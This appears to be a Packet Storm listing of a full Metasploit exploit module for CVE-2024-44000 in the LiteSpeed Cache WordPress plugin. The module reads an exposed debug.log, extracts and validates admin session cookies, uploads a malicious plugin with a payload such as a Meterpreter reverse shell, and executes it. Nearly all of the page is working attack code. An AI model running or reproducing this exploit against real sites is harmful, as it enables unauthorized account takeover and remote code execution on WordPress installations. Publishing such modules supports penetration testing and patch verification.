exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress LiteSpeed Cache Cookie Theft

WordPress LiteSpeed Cache Cookie Theft
Posted Sep 17, 2024
Authored by jheysel-r7, Rafie Muhammad | Site metasploit.com

This Metasploit module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a WordPress plugin that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.

tags | exploit
advisories | CVE-2024-44000
SHA-256 | 6e09b750ae1a9a0b2b8f3c6e3aa95c6c27115a13bd3431b2f9fa3155e9f1d346

WordPress LiteSpeed Cache Cookie Theft

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

class DebugLogError < StandardError; end
class WordPressNotOnline < StandardError; end
class AdminCookieError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
'Description' => %q{
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
},
'Author' => [
'Rafie Muhammad', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
[ 'CVE', '2024-44000']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-04',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
end

def check
@admin_cookie = get_valid_admin_cookie
CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')
rescue WordPressNotOnline => e
return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")
rescue DebugLogError => e
return CheckCode::Safe("#{e.class}, #{e}")
rescue AdminCookieError => e
return CheckCode::Safe("#{e.class}, #{e}")
end

def extract_cookies(debug_log)
admin_cookies = []
debug_log.each_line do |log_line|
# 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c
match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
admin_cookies << match.captures.compact.join('; ') if match
end
admin_cookies
end

def verify_admin_cookie(admin_cookies)
admin_cookies.each do |admin_cookie|
res = send_request_cgi({
'uri' => '/wp-admin/',
'cookie' => admin_cookie
})
return admin_cookie if res&.code == 200
end

nil
end

def get_valid_admin_cookie
raise WordPressNotOnline unless wordpress_and_online?

res = send_request_cgi({
'uri' => normalize_uri('wp-content', 'debug.log'),
'method' => 'GET'
})
raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200
raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')

admin_cookies = extract_cookies(res.body)
raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?

print_status('One or more potential admin cookies were found')

admin_cookie = verify_admin_cookie(admin_cookies)
raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie

admin_cookie
end

def exploit
unless @admin_cookie
begin
@admin_cookie = get_valid_admin_cookie
print_good('Found and tested valid admin cookie, we can upload and execute a payload')
rescue WordPressNotOnline => e
fail_with(Failure::NotFound, "#{e.class}, #{e}")
rescue DebugLogError, AdminCookieError => e
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
end
end

print_status('Preparing payload...')
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = Rex::Text.rand_text_alpha(10).to_s
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status('Uploading payload...')

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close